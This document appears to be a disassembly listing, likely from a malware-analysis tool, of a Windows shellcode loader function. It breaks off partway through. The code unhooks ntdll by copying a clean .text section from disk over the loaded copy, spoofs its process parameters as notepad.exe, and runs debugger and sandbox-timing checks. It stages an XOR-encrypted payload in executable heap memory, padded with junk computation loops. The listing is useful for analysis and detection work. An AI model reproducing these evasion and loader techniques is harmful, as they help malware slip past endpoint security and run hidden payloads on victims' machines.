Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x918
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x880], xmm6
mov dword [rbp + 0x8c0], ecx
mov qword [rbp + 0x8c8], rdx
call fcn.140002e60
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7f8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7f0], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x878], rax
cmp qword [rbp + 0x878], 0
jne 0x140001534
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x878], rax
cmp qword [rbp + 0x878], 0
je 0x140001921
mov dword [rbp + 0x874], 0xffffffff
mov ecx, 0x9d0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7e0], rax
add dword [rbp + 0x874], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065f8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x874]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7e0]
add rax, rdx
movsd xmm1, qword [0x140006600]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x874]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7e0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x874]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7e0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x874], 0x138
jle 0x14000155d
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5f0]
mov rax, qword [rbp + 0x7e8]
mov r10, qword [rbp + 0x878]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov dword [rbp + 0x870], 0
jmp 0x1400016c1
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x6bca1af3
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x7a4], eax
mov ecx, dword [rbp + 0x7a4]
mov eax, ecx
shl eax, 3
add eax, ecx
add eax, eax
add eax, ecx
sub edx, eax
mov dword [rbp + 0x7a4], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065f8]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x7a4]
movq xmm0, rax
call fcn.140004030
movq rax, xmm0
mov qword [rbp + 0x798], rax
add dword [rbp + 0x870], 1
cmp dword [rbp + 0x870], 0x326
jle 0x140001642
mov rax, qword [rbp + 0x5f0]
mov qword [rbp + 0x7d8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x7d0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7c8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7d8]
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7b8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7d8]
add rax, rdx
mov qword [rbp + 0x7b0], rax
mov word [rbp + 0x86e], 0
jmp 0x140001909
mov rax, qword [rbp + 0x7b0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7b0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x86e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400018f8
mov dword [rbp + 0x5b8], 0
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7d8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5b8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7c0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7d8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5b8]
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7d8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5b8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x86e]
add eax, 1
mov word [rbp + 0x86e], ax
mov rax, qword [rbp + 0x7b0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x86e], ax
jb 0x1400017cd
mov dword [rbp + 0x794], 1
mov ecx, 0x5f4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x788], rax
mov qword [rbp + 0x860], 2
jmp 0x140001970
mov rax, qword [rbp + 0x860]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x788]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x860], 1
cmp qword [rbp + 0x860], 0x17c
jbe 0x140001949
mov qword [rbp + 0x860], 2
jmp 0x140001a07
mov rax, qword [rbp + 0x860]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x788]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400019ff
mov rax, qword [rbp + 0x860]
mov qword [rbp + 0x858], rax
jmp 0x1400019e8
mov rax, qword [rbp + 0x860]
imul rax, qword [rbp + 0x858]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x788]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x858], 1
mov rax, qword [rbp + 0x860]
imul rax, qword [rbp + 0x858]
cmp rax, 0x17c
jbe 0x1400019b9
add qword [rbp + 0x860], 1
cmp qword [rbp + 0x860], 0x17c
jbe 0x14000198a
mov rax, qword [rbp + 0x788]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0xb68
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x780], rax
mov ecx, 0xb68
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x778], rax
mov dword [rbp + 0x854], 0
jmp 0x140001ae2
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x780]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x16c
jle 0x140001a58
mov dword [rbp + 0x854], 0
jmp 0x140001b50
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x780]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x854]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x778]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003e50
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x16c
jle 0x140001afe
mov dword [rbp + 0x5bc], 0
mov rax, qword [rbp + 0x7f8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x770], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5c0]
lea rax, [rbp + 0x5bc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x770]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5c8]
add rax, 0x3c
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x768]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x848], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x760], rax
cmp qword [rbp + 0x760], 0
je 0x140001c80
mov rax, qword [rbp + 0x760]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x758], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x758]
mov r9d, 0x3000
mov r8d, 0x373
mov edx, 0
call rax
mov qword [rbp + 0x848], rax
cmp qword [rbp + 0x848], 0
je 0x140002d97
mov dword [rbp + 0x5b4], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x750], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5b4]
mov r8, qword [rbp + 0x750]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5b4]
cmp eax, 1
je 0x140002d97
mov dword [rbp + 0x74c], 0x253
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x740], rax
mov rax, qword [rbp + 0x740]
call rax
mov dword [rbp + 0x73c], eax
mov eax, dword [rbp + 0x74c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x740]
call rax
mov dword [rbp + 0x738], eax
mov eax, dword [rbp + 0x738]
sub eax, dword [rbp + 0x73c]
cmp eax, 0x221
jbe 0x140002d97
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
mov ecx, 0
call rax
mov dword [rbp + 0x72c], eax
cmp dword [rbp + 0x72c], 0xffffffff
je 0x140002d97
mov qword [rbp + 0x720], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x718]
mov r9d, 0x3000
mov r8d, 0x25f
mov edx, 0
call rax
mov qword [rbp + 0x720], rax
cmp qword [rbp + 0x720], 0
je 0x140002d97
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x710], rax
cmp qword [rbp + 0x710], 0
je 0x140001eac
mov rax, qword [rbp + 0x710]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
mov ecx, 0
call rax
mov dword [rbp + 0x844], eax
cmp dword [rbp + 0x844], 0xffffffff
je 0x140002d97
mov dword [rbp + 0x704], 0x3dd
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
call rax
mov dword [rbp + 0x6ec], eax
mov eax, dword [rbp + 0x704]
mov r8, qword [rbp + 0x6f8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6f0]
call rax
mov dword [rbp + 0x6e8], eax
mov eax, dword [rbp + 0x6e8]
sub eax, dword [rbp + 0x6ec]
cmp eax, 0x3ab
jbe 0x140002d97
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
mov ecx, 0
call rax
mov dword [rbp + 0x6dc], eax
cmp dword [rbp + 0x6dc], 0xffffffff
je 0x140002d97
mov dword [rbp + 0x6d8], 0x3c4
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6d0]
call rax
mov dword [rbp + 0x6cc], eax
mov eax, dword [rbp + 0x6d8]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6d0]
call rax
mov dword [rbp + 0x6c8], eax
mov eax, dword [rbp + 0x6c8]
sub eax, dword [rbp + 0x6cc]
cmp eax, 0x392
jbe 0x140002d97
mov qword [rbp + 0x838], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6c0], rax
cmp qword [rbp + 0x6c0], 0
je 0x1400020d2
mov rax, qword [rbp + 0x6c0]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6b8]
mov r9d, 0x3000
mov r8d, 0x3ea
mov edx, 0
call rax
mov qword [rbp + 0x838], rax
cmp qword [rbp + 0x838], 0
je 0x140002d97
lea rax, [rbp + 0xf0]
lea rdx, [0x140006138]
mov ecx, 0x97
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
mov ecx, 0x465c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b0], rax
mov ecx, 0x465c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a8], rax
mov ecx, 0x465c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a0], rax
mov dword [rbp + 0x834], 0
jmp 0x14000221e
mov dword [rbp + 0x830], 0
jmp 0x14000220a
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x834]
cdqe
imul rcx, rax, 0xe4
mov rax, qword [rbp + 0x6b0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x830]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x834]
cdqe
imul rcx, rax, 0xe4
mov rax, qword [rbp + 0x6a8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x830]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x830], 1
cmp dword [rbp + 0x830], 0x38
jle 0x140002159
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x4e
jle 0x14000214a
mov dword [rbp + 0x834], 0
jmp 0x1400022d7
mov dword [rbp + 0x830], 0
jmp 0x1400022c3
mov eax, dword [rbp + 0x834]
cdqe
imul rdx, rax, 0xe4
mov rax, qword [rbp + 0x6b0]
add rdx, rax
mov eax, dword [rbp + 0x830]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x834]
cdqe
imul rdx, rax, 0xe4
mov rax, qword [rbp + 0x6a8]
add rdx, rax
mov eax, dword [rbp + 0x830]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x834]
cdqe
imul rdx, rax, 0xe4
mov rax, qword [rbp + 0x6a0]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x830]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x830], 1
cmp dword [rbp + 0x830], 0x38
jle 0x140002246
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x4e
jle 0x14000223a
mov rax, qword [rbp + 0x6b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6a0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7f0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x7f0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x698]
mov r8d, 0
mov edx, 0x4b9
mov ecx, 0x40000
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x688]
mov r9, qword [rbp + 0x690]
mov r8d, 0x4b9
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x7f8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
lea rdx, [rbp + 0xf0]
mov rax, qword [rbp + 0x680]
mov r9, qword [rbp + 0x678]
mov r8d, 0x4b9
mov rcx, rax
call r9
mov dword [rbp + 0x82c], 0
mov dword [rbp + 0x828], 0
mov dword [rbp + 0x824], 0
movabs rax, 0xadcd32c93adfb55d
movabs rdx, 0x61829fccd9a081a7
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x7c5ea1dec037d836
movabs rdx, 0xc5563dcc672a1a5e
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xb181978a31d707c4
movabs rdx, 0x87f888c3e40ba618
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xd48df70bddb99096
movabs rdx, 0x3386380d5c0f7991
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0xb2f2a09bcde02624
movabs rdx, 0xc0e8277da4386b5a
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x641719d48705b446
movabs rdx, 0x7b47dc4e0d9286ee
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x883c1d95f0ae0db0
movabs rdx, 0x18d077a02c1e7ae8
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x35b183dda98618d0
movabs rdx, 0x534af4b15a223a
mov qword [rbp + 0xde], rax
mov qword [rbp + 0xe6], rdx
movabs rax, 0x378172812d34e148
movabs rdx, 0x4391f5f97d12f827
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xfbf0c4d2f9a2af0f
movabs rdx, 0x718bf08e2f1f9f50
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x37718bf08e2f1f9f
movabs rdx, 0x2b5c5762d907f
mov qword [rbp - 0x27], rax
mov qword [rbp - 0x1f], rdx
mov dword [rbp + 0x820], 0
jmp 0x1400025c0
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x1c
add edx, eax
and edx, 0xf
sub edx, eax
mov dword [rbp + 0x61c], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065f8]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x61c]
movq xmm0, rax
call fcn.140004030
movq rax, xmm0
mov qword [rbp + 0x610], rax
add dword [rbp + 0x820], 1
cmp dword [rbp + 0x820], 0x348
jle 0x140002563
jmp 0x140002986
cmp dword [rbp + 0x828], 0x27
jne 0x140002611
mov eax, dword [rbp + 0x82c]
cdqe
movzx edx, byte [rbp + rax + 0x70]
mov eax, dword [rbp + 0x828]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x82c]
cdqe
mov byte [rbp + rax - 0x10], dl
mov dword [rbp + 0x828], 0
jmp 0x14000297f
mov ecx, 0x3c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x638], rax
mov dword [rbp + 0x81c], 0
jmp 0x14000266c
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x81c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x638]
add rax, rdx
movsd xmm1, qword [0x1400065f8]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x81c], 1
cmp dword [rbp + 0x81c], 0x78
jle 0x14000262e
mov dword [rbp + 0x81c], 0
jmp 0x140002706
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x81c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x638]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x81c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x638]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140004000
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x81c], 1
cmp dword [rbp + 0x81c], 0x78
jle 0x140002684
mov eax, dword [rbp + 0x82c]
cdqe
movzx edx, byte [rbp + rax + 0x70]
mov eax, dword [rbp + 0x828]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x82c]
cdqe
mov byte [rbp + rax - 0x10], dl
mov ecx, 0x5c40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x630], rax
mov ecx, 0x5c40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x628], rax
mov ecx, 0x5c40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x620], rax
mov dword [rbp + 0x818], 0
jmp 0x140002861
mov dword [rbp + 0x814], 0
jmp 0x14000284d
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x818]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x630]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x814]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x818]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x628]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x814]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x47
jle 0x14000278c
add dword [rbp + 0x818], 1
cmp dword [rbp + 0x818], 0x51
jle 0x14000277d
mov dword [rbp + 0x818], 0
jmp 0x14000293e
mov dword [rbp + 0x814], 0
jmp 0x14000292a
mov eax, dword [rbp + 0x818]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x630]
add rdx, rax
mov eax, dword [rbp + 0x814]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x818]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x628]
add rdx, rax
mov eax, dword [rbp + 0x814]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x818]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x620]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x814]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x47
jle 0x14000288c
add dword [rbp + 0x818], 1
cmp dword [rbp + 0x818], 0x51
jle 0x14000287d
mov rax, qword [rbp + 0x630]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x628]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x620]
mov rcx, rax
